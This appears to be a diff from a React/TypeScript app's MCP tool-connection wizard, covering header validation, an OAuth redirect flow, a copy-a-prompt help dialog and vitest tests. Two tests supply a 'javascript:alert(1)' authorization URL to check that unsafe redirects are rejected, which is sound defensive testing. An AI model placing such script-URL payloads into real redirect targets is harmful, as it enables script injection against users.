focus: "none",
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* First client-side complaint about the custom headers, or null when they're fine.
|
||||
* The API validates these too; checking here means the operator finds out before a
|
||||
* round trip rather than after one.
|
||||
*/
|
||||
export function customHeaderError(rows: CustomHeaderRow[]): string | null {
|
||||
const seen = new Set<string>();
|
||||
for (const row of rows) {
|
||||
const name = row.name.trim();
|
||||
if (!name && !row.value.trim()) continue;
|
||||
const nameCheck = checkMcpRemoteHeaderName(name);
|
||||
if (!nameCheck.ok) return mcpRemoteHeaderRejectionMessage(name, nameCheck.reason!);
|
||||
const valueCheck = checkMcpRemoteHeaderValue(row.value);
|
||||
if (!valueCheck.ok) return mcpRemoteHeaderRejectionMessage(name, valueCheck.reason!);
|
||||
if (!row.value.trim()) return `Add a value for "${name}", or remove the row.`;
|
||||
const lower = name.toLowerCase();
|
||||
if (seen.has(lower)) return `"${name}" is listed twice.`;
|
||||
seen.add(lower);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export interface GenericConnectDraft {
|
||||
link: string;
|
||||
name: string;
|
||||
authMode: GenericMcpAuthMode;
|
||||
/** Simple path: the operator answered "Yes" to "does it need a key?". */
|
||||
needsKey: boolean;
|
||||
keyValue: string;
|
||||
headers: CustomHeaderRow[];
|
||||
oauthClientId: string;
|
||||
oauthClientSecret: string;
|
||||
}
|
||||
|
||||
export interface GenericConnectPayload {
|
||||
link: string;
|
||||
name?: string;
|
||||
authMode?: GenericMcpAuthMode;
|
||||
credentialValues?: Record<string, string>;
|
||||
oauthClient?: { clientId: string; clientSecret?: string };
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the connect request from wizard state.
|
||||
*
|
||||
* `authMode` is only sent when the operator made an explicit choice under Advanced
|
||||
* authentication; the simple path leaves it off so the server probes and decides.
|
||||
* Header values become `headers.<Name>` credential paths, which the server turns
|
||||
* into Paperclip secrets — nothing here ever puts a value in the config.
|
||||
*/
|
||||
export function genericConnectPayload(draft: GenericConnectDraft): GenericConnectPayload {
|
||||
const credentialValues: Record<string, string> = {};
|
||||
const bearerKey = draft.keyValue.trim();
|
||||
const useBearer = draft.authMode === "bearer" || (draft.authMode === "auto" && draft.needsKey);
|
||||
if (useBearer && bearerKey) credentialValues["credentials.authorization"] = bearerKey;
|
||||
if (draft.authMode === "custom_headers") {
|
||||
for (const row of draft.headers) {
|
||||
const name = row.name.trim();
|
||||
if (!name || !row.value.trim()) continue;
|
||||
credentialValues[`headers.${name}`] = row.value;
|
||||
}
|
||||
}
|
||||
const trimmedName = draft.name.trim();
|
||||
const clientId = draft.oauthClientId.trim();
|
||||
const clientSecret = draft.oauthClientSecret.trim();
|
||||
return {
|
||||
link: draft.link,
|
||||
...(trimmedName ? { name: trimmedName } : {}),
|
||||
...(draft.authMode === "auto" ? {} : { authMode: draft.authMode }),
|
||||
...(Object.keys(credentialValues).length > 0 ? { credentialValues } : {}),
|
||||
...(draft.authMode === "oauth" && clientId
|
||||
? { oauthClient: { clientId, ...(clientSecret ? { clientSecret } : {}) } }
|
||||
: {}),
|
||||
};
|
||||
}
|
||||
|
||||
/** Can "Check link" be pressed? */
|
||||
export function canSubmitGenericConnect(draft: GenericConnectDraft): boolean {
|
||||
if (!draft.link.trim()) return false;
|
||||
if (draft.authMode === "auto") return !draft.needsKey || draft.keyValue.trim().length > 0;
|
||||
if (draft.authMode === "bearer") return draft.keyValue.trim().length > 0;
|
||||
if (draft.authMode === "custom_headers") {
|
||||
const filled = draft.headers.filter((row) => row.name.trim() && row.value.trim());
|
||||
return filled.length > 0 && customHeaderError(draft.headers) === null;
|
||||
}
|
||||
// "oauth" here means the operator is supplying a preregistered client, and
|
||||
// "none" means they are asserting the server is public — neither needs a value.
|
||||
return true;
|
||||
}
|
||||
|
|
@ -4,7 +4,7 @@ import { advancedTabHref } from "@/pages/tools/tool-tabs";
|
|||
import { appSourceConnectHref } from "./app-connect-policy";
|
||||
|
||||
/** Popular gallery keys surfaced first in the Browse store (PAP-13254, door 1). */
|
||||
export const POPULAR_KEYS = ["zapier", "github", "slack", "notion", "linear"];
|
||||
export const POPULAR_KEYS = ["zapier", "github", "slack", "notion", "posthog", "linear"];
|
||||
|
||||
/** Deep-link into the Connect wizard's bring-your-own-tool URL flow. */
|
||||
export const BYO_CONNECT_HREF = "/apps/connect?byo=1";
|
||||
|
|
|
|||
|
|
@ -0,0 +1,214 @@
|
|||
// @vitest-environment jsdom
|
||||
|
||||
import { act } from "react";
|
||||
import { createRoot } from "react-dom/client";
|
||||
import { MemoryRouter } from "react-router-dom";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { PasteConfigTab } from "./PasteConfigTab";
|
||||
import { MCP_CONFIG_HELP_PROMPT } from "@paperclipai/shared";
|
||||
|
||||
const toolsApiMock = vi.hoisted(() => ({
|
||||
importMcpJson: vi.fn(),
|
||||
connectApp: vi.fn(),
|
||||
finishApp: vi.fn(),
|
||||
}));
|
||||
const copyTextToClipboardMock = vi.hoisted(() => vi.fn());
|
||||
const mockNavigate = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@/api/tools", () => ({ toolsApi: toolsApiMock }));
|
||||
vi.mock("@/lib/router", () => ({ useNavigate: () => mockNavigate }));
|
||||
vi.mock("@/lib/clipboard", () => ({
|
||||
copyTextToClipboard: (text: string) => copyTextToClipboardMock(text),
|
||||
}));
|
||||
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
|
||||
|
||||
async function flushReact() {
|
||||
await act(async () => {
|
||||
await Promise.resolve();
|
||||
await new Promise((resolve) => window.setTimeout(resolve, 0));
|
||||
});
|
||||
}
|
||||
|
||||
function helpTrigger(): HTMLButtonElement {
|
||||
const button = Array.from(document.body.querySelectorAll("button")).find(
|
||||
(candidate) => candidate.getAttribute("aria-label") === "Get help creating an MCP config",
|
||||
);
|
||||
if (!button) throw new Error("help trigger not found");
|
||||
return button as HTMLButtonElement;
|
||||
}
|
||||
|
||||
function buttonWithText(text: string): HTMLButtonElement | undefined {
|
||||
return Array.from(document.body.querySelectorAll("button")).find(
|
||||
(candidate) => candidate.textContent?.trim() === text,
|
||||
) as HTMLButtonElement | undefined;
|
||||
}
|
||||
|
||||
function promptTextarea(): HTMLTextAreaElement | undefined {
|
||||
return document.body.querySelector<HTMLTextAreaElement>("#mcp-config-help-prompt") ?? undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
* PAP-17087, plan 3A. Two things matter here beyond rendering: the control is
|
||||
* reachable by name for keyboard and screen-reader users, and opening or copying
|
||||
* it is inert — no connection, no import, no submit of whatever is in the box.
|
||||
*/
|
||||
describe("Paste a config — MCP config help", () => {
|
||||
let container: HTMLDivElement;
|
||||
let root: ReturnType<typeof createRoot>;
|
||||
|
||||
beforeEach(() => {
|
||||
container = document.createElement("div");
|
||||
document.body.appendChild(container);
|
||||
copyTextToClipboardMock.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
act(() => root?.unmount());
|
||||
container.remove();
|
||||
document.body.innerHTML = "";
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
async function render() {
|
||||
root = createRoot(container);
|
||||
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||||
await act(async () => {
|
||||
root.render(
|
||||
<QueryClientProvider client={queryClient}>
|
||||
<MemoryRouter>
|
||||
<PasteConfigTab companyId="company-1" />
|
||||
</MemoryRouter>
|
||||
</QueryClientProvider>,
|
||||
);
|
||||
});
|
||||
return root;
|
||||
}
|
||||
|
||||
async function openHelp() {
|
||||
await act(async () => {
|
||||
helpTrigger().dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
}
|
||||
|
||||
it("offers a named help control beside the intro copy", async () => {
|
||||
await render();
|
||||
|
||||
const trigger = helpTrigger();
|
||||
expect(trigger.getAttribute("aria-label")).toBe("Get help creating an MCP config");
|
||||
// It's a real button, so it is tabbable and Enter/Space activate it without
|
||||
// any extra key handling.
|
||||
expect(trigger.tagName).toBe("BUTTON");
|
||||
expect(trigger.getAttribute("disabled")).toBeNull();
|
||||
});
|
||||
|
||||
it("shows the prompt read-only in a titled dialog", async () => {
|
||||
await render();
|
||||
await openHelp();
|
||||
|
||||
expect(document.body.textContent).toContain("Ask an agent for an MCP config");
|
||||
const textarea = promptTextarea();
|
||||
expect(textarea).toBeTruthy();
|
||||
expect(textarea!.readOnly).toBe(true);
|
||||
expect(textarea!.value).toBe(MCP_CONFIG_HELP_PROMPT);
|
||||
// The prompt has an associated label, so a screen reader announces what the
|
||||
// focused field is.
|
||||
expect(document.body.querySelector('label[for="mcp-config-help-prompt"]')).toBeTruthy();
|
||||
});
|
||||
|
||||
it("copies the prompt and confirms it", async () => {
|
||||
await render();
|
||||
await openHelp();
|
||||
|
||||
await act(async () => {
|
||||
buttonWithText("Copy prompt")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(copyTextToClipboardMock).toHaveBeenCalledWith(MCP_CONFIG_HELP_PROMPT);
|
||||
expect(document.body.textContent).toContain("Copied to clipboard.");
|
||||
});
|
||||
|
||||
it("tells the operator to copy by hand when the clipboard is unavailable", async () => {
|
||||
copyTextToClipboardMock.mockRejectedValue(new Error("Clipboard unavailable"));
|
||||
await render();
|
||||
await openHelp();
|
||||
|
||||
await act(async () => {
|
||||
buttonWithText("Copy prompt")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(document.body.textContent).toContain("select the text above and copy it");
|
||||
});
|
||||
|
||||
it("makes no connection or import request when opened or copied", async () => {
|
||||
await render();
|
||||
|
||||
// Type something first: copying help must not submit it either.
|
||||
const configTextarea = Array.from(container.querySelectorAll("textarea"))[0]!;
|
||||
const setter = Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype, "value")?.set;
|
||||
setter?.call(configTextarea, '{"mcpServers":{"x":{"url":"https://example.test/mcp"}}}');
|
||||
configTextarea.dispatchEvent(new Event("input", { bubbles: true }));
|
||||
await flushReact();
|
||||
|
||||
await openHelp();
|
||||
await act(async () => {
|
||||
buttonWithText("Copy prompt")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(toolsApiMock.importMcpJson).not.toHaveBeenCalled();
|
||||
expect(toolsApiMock.connectApp).not.toHaveBeenCalled();
|
||||
expect(toolsApiMock.finishApp).not.toHaveBeenCalled();
|
||||
// The operator's draft is untouched.
|
||||
expect(configTextarea.value).toBe('{"mcpServers":{"x":{"url":"https://example.test/mcp"}}}');
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The prompt is the contract with the receiving agent. Assert the requirements the
|
||||
* plan enumerated, so a well-meaning copy edit cannot quietly drop one.
|
||||
*/
|
||||
describe("MCP_CONFIG_HELP_PROMPT contract", () => {
|
||||
it("asks for official-doc research and confirmation of the target", () => {
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toContain("official documentation");
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/ask me for its name or a link to its documentation/i);
|
||||
});
|
||||
|
||||
it("asks for one paste-ready mcpServers JSON object, first", () => {
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toContain('"mcpServers"');
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/paste-ready JSON object FIRST/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/exactly one remote server entry/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/exact required header names/);
|
||||
});
|
||||
|
||||
it("requires credential placeholders rather than live secrets", () => {
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toContain("<YOUR_API_KEY>");
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/Do not ask me to paste a real token/);
|
||||
});
|
||||
|
||||
it("asks for setup, scope, OAuth notes and source links", () => {
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/how I obtain each credential/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/scopes or permissions/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/which fields are optional/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/browser sign-in \(OAuth\)/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/official documentation links you actually used/);
|
||||
});
|
||||
|
||||
it("asks for uncertainty disclosure and local-stdio guidance", () => {
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/Do not invent fields/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/say which part you are unsure about/);
|
||||
expect(MCP_CONFIG_HELP_PROMPT).toMatch(/only runs locally as a command \(stdio\)/);
|
||||
});
|
||||
|
||||
it("interpolates nothing — it is a constant, so it cannot leak tenant data", () => {
|
||||
// A template hole is the only way company/config/secret data could reach the
|
||||
// clipboard from here.
|
||||
expect(MCP_CONFIG_HELP_PROMPT).not.toMatch(/\$\{/);
|
||||
});
|
||||
});
|
||||
|
|
@ -0,0 +1,113 @@
|
|||
import { useEffect, useRef, useState } from "react";
|
||||
import { Check, Copy, HelpCircle } from "lucide-react";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Textarea } from "@/components/ui/textarea";
|
||||
import { copyTextToClipboard } from "@/lib/clipboard";
|
||||
import { MCP_CONFIG_HELP_INSTRUCTIONS, MCP_CONFIG_HELP_PROMPT } from "@paperclipai/shared";
|
||||
|
||||
const COPIED_RESET_MS = 2_000;
|
||||
|
||||
/**
|
||||
* Compact question-mark help beside the Paste-a-config copy (PAP-17087, plan 3A).
|
||||
*
|
||||
* Purely static: it renders a constant prompt and copies it. It deliberately has
|
||||
* no props, no company id, and no access to the textarea, so opening or copying
|
||||
* it cannot create a connection, call an agent, submit the pasted config, or leak
|
||||
* anything the operator has typed.
|
||||
*/
|
||||
export function McpConfigHelpDialog() {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [copyState, setCopyState] = useState<"idle" | "copied" | "failed">("idle");
|
||||
const resetTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
useEffect(() => () => {
|
||||
if (resetTimer.current) clearTimeout(resetTimer.current);
|
||||
}, []);
|
||||
|
||||
// Reset the copy affordance each time the dialog opens, so a stale "Copied"
|
||||
// from a previous visit never reads as confirmation of this one.
|
||||
useEffect(() => {
|
||||
if (open) setCopyState("idle");
|
||||
}, [open]);
|
||||
|
||||
const copyPrompt = async () => {
|
||||
try {
|
||||
await copyTextToClipboard(MCP_CONFIG_HELP_PROMPT);
|
||||
setCopyState("copied");
|
||||
} catch {
|
||||
setCopyState("failed");
|
||||
}
|
||||
if (resetTimer.current) clearTimeout(resetTimer.current);
|
||||
resetTimer.current = setTimeout(() => setCopyState("idle"), COPIED_RESET_MS);
|
||||
};
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
<Button
|
||||
type="button"
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
className="h-6 w-6 shrink-0 text-muted-foreground hover:text-foreground"
|
||||
aria-label="Get help creating an MCP config"
|
||||
>
|
||||
<HelpCircle className="h-4 w-4" />
|
||||
</Button>
|
||||
</DialogTrigger>
|
||||
<DialogContent className="max-h-(--sz-85vh) overflow-y-auto sm:max-w-2xl">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Ask an agent for an MCP config</DialogTitle>
|
||||
<DialogDescription>
|
||||
Don't know the URL or headers a tool needs? Hand this request to an agent and paste back what it
|
||||
gives you.
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
<ol className="list-decimal space-y-1.5 pl-5 text-sm text-muted-foreground">
|
||||
{MCP_CONFIG_HELP_INSTRUCTIONS.map((instruction) => (
|
||||
<li key={instruction}>{instruction}</li>
|
||||
))}
|
||||
</ol>
|
||||
|
||||
<div className="space-y-2">
|
||||
<label htmlFor="mcp-config-help-prompt" className="text-sm font-medium text-foreground">
|
||||
Prompt to send
|
||||
</label>
|
||||
<Textarea
|
||||
id="mcp-config-help-prompt"
|
||||
readOnly
|
||||
value={MCP_CONFIG_HELP_PROMPT}
|
||||
rows={12}
|
||||
spellCheck={false}
|
||||
onFocus={(event) => event.currentTarget.select()}
|
||||
className="min-h-(--sz-220px) font-mono text-(length:--text-compact) leading-relaxed"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-wrap items-center gap-3">
|
||||
<Button type="button" onClick={() => void copyPrompt()}>
|
||||
{copyState === "copied" ? <Check className="mr-2 h-4 w-4" /> : <Copy className="mr-2 h-4 w-4" />}
|
||||
Copy prompt
|
||||
</Button>
|
||||
{/* aria-live so a screen reader hears the outcome without moving focus
|
||||
off the button the operator just pressed. */}
|
||||
<span aria-live="polite" className="text-xs text-muted-foreground">
|
||||
{copyState === "copied"
|
||||
? "Copied to clipboard."
|
||||
: copyState === "failed"
|
||||
? "Couldn't copy automatically — select the text above and copy it."
|
||||
: null}
|
||||
</span>
|
||||
</div>
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
}
|
||||
|
|
@ -11,10 +11,13 @@ import { PasteConfigTab } from "./PasteConfigTab";
|
|||
const toolsApiMock = vi.hoisted(() => ({
|
||||
importMcpJson: vi.fn(),
|
||||
connectApp: vi.fn(),
|
||||
startOAuth: vi.fn(),
|
||||
finishApp: vi.fn(),
|
||||
}));
|
||||
const mockNavigate = vi.hoisted(() => vi.fn());
|
||||
const navigateTopLevelMock = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@/api/tools", () => ({ toolsApi: toolsApiMock }));
|
||||
vi.mock("@/lib/browserNavigation", () => ({ navigateTopLevel: navigateTopLevelMock }));
|
||||
// The tab uses `useNavigate` from the app router (PAP-11088 draft hand-off),
|
||||
// which needs CompanyProvider; stub it so the copy hint renders in isolation.
|
||||
vi.mock("@/lib/router", () => ({ useNavigate: () => mockNavigate }));
|
||||
|
|
@ -124,6 +127,47 @@ function connectResult(overrides: Partial<ConnectToolAppResult> = {}): ConnectTo
|
|||
};
|
||||
}
|
||||
|
||||
const NOTION_CONFIG = '{ "mcpServers": { "notion": { "url": "https://mcp.notion.com/mcp" } } }';
|
||||
|
||||
const NOTION_PREVIEW: McpJsonImportPreview = {
|
||||
drafts: [{
|
||||
name: "notion",
|
||||
transport: "mcp_remote",
|
||||
status: "draft",
|
||||
config: { url: "https://mcp.notion.com/mcp" },
|
||||
credentialRefs: [],
|
||||
credentialFields: [],
|
||||
warnings: [],
|
||||
}],
|
||||
};
|
||||
|
||||
function oauthConnectResult(startUrl: string | null = null): ConnectToolAppResult {
|
||||
const base = connectResult();
|
||||
return {
|
||||
...base,
|
||||
application: {
|
||||
...base.application,
|
||||
applicationKey: "app-gallery:link:notion-generic-test",
|
||||
name: "notion",
|
||||
metadata: { source: "link" },
|
||||
},
|
||||
connection: {
|
||||
...base.connection,
|
||||
authKind: "oauth",
|
||||
config: { url: "https://mcp.notion.com/mcp", unverifiedServer: true },
|
||||
transportConfig: { url: "https://mcp.notion.com/mcp", unverifiedServer: true },
|
||||
},
|
||||
catalog: [],
|
||||
actions: { readOnly: [], canMakeChanges: [] },
|
||||
auth: {
|
||||
kind: "oauth",
|
||||
startUrl,
|
||||
resource: "https://mcp.notion.com/mcp",
|
||||
registrationSource: "cimd",
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
describe("PasteConfigTab — discoverability copy (PAP-11091)", () => {
|
||||
let container: HTMLDivElement;
|
||||
|
||||
|
|
@ -293,6 +337,92 @@ describe("PasteConfigTab — activation handoff (PAP-11092)", () => {
|
|||
});
|
||||
});
|
||||
|
||||
it("starts OAuth for the original generic connection instead of rendering an empty catalog", async () => {
|
||||
await pasteAndCheck(NOTION_PREVIEW, NOTION_CONFIG);
|
||||
const nameInput = container.querySelector('input[placeholder="notion"]') as HTMLInputElement;
|
||||
await act(async () => setInputValue(nameInput, "Notion generic self-test 2026-08-17T20:00:00Z"));
|
||||
await flushReact();
|
||||
toolsApiMock.connectApp.mockResolvedValue(oauthConnectResult());
|
||||
toolsApiMock.startOAuth.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
provider: "mcp.notion.com",
|
||||
authorizationUrl: "https://mcp.notion.com/authorize?state=redacted",
|
||||
expiresAt: new Date(Date.now() + 60_000).toISOString(),
|
||||
registrationSource: "cimd",
|
||||
});
|
||||
|
||||
await act(async () => {
|
||||
buttonStartingWith("Check actions")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(toolsApiMock.connectApp).toHaveBeenCalledTimes(1);
|
||||
expect(toolsApiMock.connectApp).toHaveBeenCalledWith("company-1", {
|
||||
link: "https://mcp.notion.com/mcp",
|
||||
name: "Notion generic self-test 2026-08-17T20:00:00Z",
|
||||
credentialValues: {},
|
||||
});
|
||||
expect(toolsApiMock.startOAuth).toHaveBeenCalledWith("conn-1");
|
||||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||||
"https://mcp.notion.com/authorize?state=redacted",
|
||||
);
|
||||
expect(container.textContent).toContain("Unverified server");
|
||||
expect(container.textContent).toContain("mcp.notion.com");
|
||||
expect(container.textContent).not.toContain("Review actions for notion");
|
||||
});
|
||||
|
||||
it("rejects an unsafe start URL and retries OAuth on the same connection", async () => {
|
||||
await pasteAndCheck(NOTION_PREVIEW, NOTION_CONFIG);
|
||||
toolsApiMock.connectApp.mockResolvedValue(oauthConnectResult("javascript:alert(1)"));
|
||||
|
||||
await act(async () => {
|
||||
buttonStartingWith("Check actions")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
|
||||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||||
expect(container.textContent).toContain("couldn’t connect");
|
||||
expect(container.textContent).not.toContain("javascript:alert(1)");
|
||||
|
||||
toolsApiMock.startOAuth.mockResolvedValue({
|
||||
connectionId: "conn-1",
|
||||
provider: "mcp.notion.com",
|
||||
authorizationUrl: "https://mcp.notion.com/authorize?state=retry-redacted",
|
||||
expiresAt: new Date(Date.now() + 60_000).toISOString(),
|
||||
registrationSource: "cimd",
|
||||
});
|
||||
await act(async () => {
|
||||
buttonStartingWith("Try again")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await flushReact();
|
||||
|
||||
expect(toolsApiMock.connectApp).toHaveBeenCalledTimes(1);
|
||||
expect(toolsApiMock.startOAuth).toHaveBeenCalledTimes(1);
|
||||
expect(toolsApiMock.startOAuth).toHaveBeenCalledWith("conn-1");
|
||||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||||
"https://mcp.notion.com/authorize?state=retry-redacted",
|
||||
);
|
||||
});
|
||||
|
||||
it("cancels to the original connection setup route without creating another draft", async () => {
|
||||
await pasteAndCheck(NOTION_PREVIEW, NOTION_CONFIG);
|
||||
toolsApiMock.connectApp.mockResolvedValue(oauthConnectResult("javascript:alert(1)"));
|
||||
|
||||
await act(async () => {
|
||||
buttonStartingWith("Check actions")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
await flushReact();
|
||||
await act(async () => {
|
||||
buttonStartingWith("Back to apps")!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||||
});
|
||||
|
||||
expect(mockNavigate).toHaveBeenCalledWith("/apps/conn-1/setup");
|
||||
expect(toolsApiMock.connectApp).toHaveBeenCalledTimes(1);
|
||||
expect(toolsApiMock.startOAuth).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("does not offer Continue for a stdio draft (draft-only, no link to hand off)", async () => {
|
||||
await pasteAndCheck(
|
||||
{
|
||||
|
|
|
|||
|
|
@ -13,6 +13,15 @@ import { Input } from "@/components/ui/input";
|
|||
import { Textarea } from "@/components/ui/textarea";
|
||||
import { ToggleSwitch } from "@/components/ui/toggle-switch";
|
||||
import { toolsApi } from "@/api/tools";
|
||||
import { resolveAuthorizationTarget } from "@/lib/authorizationUrl";
|
||||
import { navigateTopLevel } from "@/lib/browserNavigation";
|
||||
import { useNavigate } from "@/lib/router";
|
||||
import {
|
||||
OAuthConnectStateScreen,
|
||||
type OAuthConnectPhase,
|
||||
} from "@/pages/apps/AppsConnect";
|
||||
import { endpointHost } from "@/pages/apps/generic-mcp-connect";
|
||||
import { McpConfigHelpDialog } from "./McpConfigHelpDialog";
|
||||
import { ErrorState } from "./shared";
|
||||
|
||||
const SAMPLE_CONFIG = `{
|
||||
|
|
@ -91,34 +100,85 @@ function askFirstLevelsFrom(result: ConnectToolAppResult): string[] {
|
|||
* of the two M8 screens where "MCP" vocabulary is allowed (PAP-10827 vocab map).
|
||||
*/
|
||||
export function PasteConfigTab({ companyId }: { companyId: string }) {
|
||||
const navigate = useNavigate();
|
||||
const [draftText, setDraftText] = useState("");
|
||||
const [preview, setPreview] = useState<McpJsonImportPreview | null>(null);
|
||||
const [connectionNames, setConnectionNames] = useState<Record<string, string>>({});
|
||||
const [credentialValues, setCredentialValues] = useState<Record<string, string>>({});
|
||||
const [connectResult, setConnectResult] = useState<ConnectToolAppResult | null>(null);
|
||||
const [enabled, setEnabled] = useState<Record<string, boolean>>({});
|
||||
const [activatedName, setActivatedName] = useState<string | null>(null);
|
||||
const [oauthPhase, setOAuthPhase] = useState<OAuthConnectPhase>("entry");
|
||||
const [oauthError, setOAuthError] = useState<string | null>(null);
|
||||
const [authorizationHost, setAuthorizationHost] = useState<string | null>(null);
|
||||
|
||||
const importMutation = useMutation({
|
||||
mutationFn: (mcpJson: string) => toolsApi.importMcpJson(companyId, { mcpJson }),
|
||||
onSuccess: (result) => {
|
||||
setPreview(result);
|
||||
setConnectionNames(Object.fromEntries(result.drafts.map((draft) => [draft.name, draft.name])));
|
||||
setConnectResult(null);
|
||||
setActivatedName(null);
|
||||
},
|
||||
});
|
||||
|
||||
const openAuthorizationPage = (authorizationUrl: string) => {
|
||||
const target = resolveAuthorizationTarget(authorizationUrl);
|
||||
if (!target.ok) {
|
||||
setOAuthPhase("error");
|
||||
setOAuthError(target.message);
|
||||
return;
|
||||
}
|
||||
setAuthorizationHost(target.host);
|
||||
setOAuthPhase("redirecting");
|
||||
navigateTopLevel(target.url);
|
||||
};
|
||||
|
||||
const oauthStartMutation = useMutation({
|
||||
mutationFn: (connectionId: string) => toolsApi.startOAuth(connectionId),
|
||||
onSuccess: ({ authorizationUrl }) => openAuthorizationPage(authorizationUrl),
|
||||
onError: (error) => {
|
||||
setOAuthPhase("error");
|
||||
setOAuthError(
|
||||
error instanceof Error
|
||||
? error.message
|
||||
: "Paperclip couldn’t start secure sign-in. Try again.",
|
||||
);
|
||||
},
|
||||
});
|
||||
|
||||
const connectMutation = useMutation({
|
||||
mutationFn: (draft: McpJsonImportDraft) => {
|
||||
const url = draftConnectUrl(draft);
|
||||
if (!url) throw new Error("Only remote HTTP drafts can be checked and activated from pasted config.");
|
||||
return toolsApi.connectApp(companyId, {
|
||||
link: url,
|
||||
name: draft.name,
|
||||
name: connectionNames[draft.name]?.trim() || draft.name,
|
||||
credentialValues: credentialValuesForDraft(draft, credentialValues),
|
||||
});
|
||||
},
|
||||
onSuccess: (result) => {
|
||||
setConnectResult(result);
|
||||
if (result.auth?.kind === "oauth") {
|
||||
setActivatedName(null);
|
||||
setAuthorizationHost(null);
|
||||
setOAuthError(null);
|
||||
if (result.auth.manualClientRequired) {
|
||||
setOAuthPhase("error");
|
||||
setOAuthError(
|
||||
"This server requires OAuth client details from its provider settings. Continue in setup to add them.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
const startUrl = result.auth.startUrl?.trim();
|
||||
if (startUrl) {
|
||||
openAuthorizationPage(startUrl);
|
||||
} else {
|
||||
setOAuthPhase("starting");
|
||||
oauthStartMutation.mutate(result.connectionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
const defaults: Record<string, boolean> = {};
|
||||
for (const action of result.actions.readOnly) defaults[action.catalogEntryId] = true;
|
||||
for (const action of result.actions.canMakeChanges) defaults[action.catalogEntryId] = false;
|
||||
|
|
@ -157,11 +217,40 @@ export function PasteConfigTab({ companyId }: { companyId: string }) {
|
|||
}
|
||||
}, [draftText]);
|
||||
|
||||
if (connectResult?.auth?.kind === "oauth") {
|
||||
const connectionUrl = typeof connectResult.connection.config?.url === "string"
|
||||
? connectResult.connection.config.url
|
||||
: typeof connectResult.connection.transportConfig?.url === "string"
|
||||
? connectResult.connection.transportConfig.url
|
||||
: "";
|
||||
return (
|
||||
<OAuthConnectStateScreen
|
||||
identity={{
|
||||
name: connectResult.application.name,
|
||||
unverifiedHost: endpointHost(connectionUrl),
|
||||
}}
|
||||
phase={oauthPhase}
|
||||
error={oauthError}
|
||||
authorizationHost={authorizationHost}
|
||||
onRetry={() => {
|
||||
setOAuthError(null);
|
||||
setAuthorizationHost(null);
|
||||
setOAuthPhase("starting");
|
||||
oauthStartMutation.mutate(connectResult.connectionId);
|
||||
}}
|
||||
onCancel={() => navigate(`/apps/${connectResult.connectionId}/setup`)}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
return (
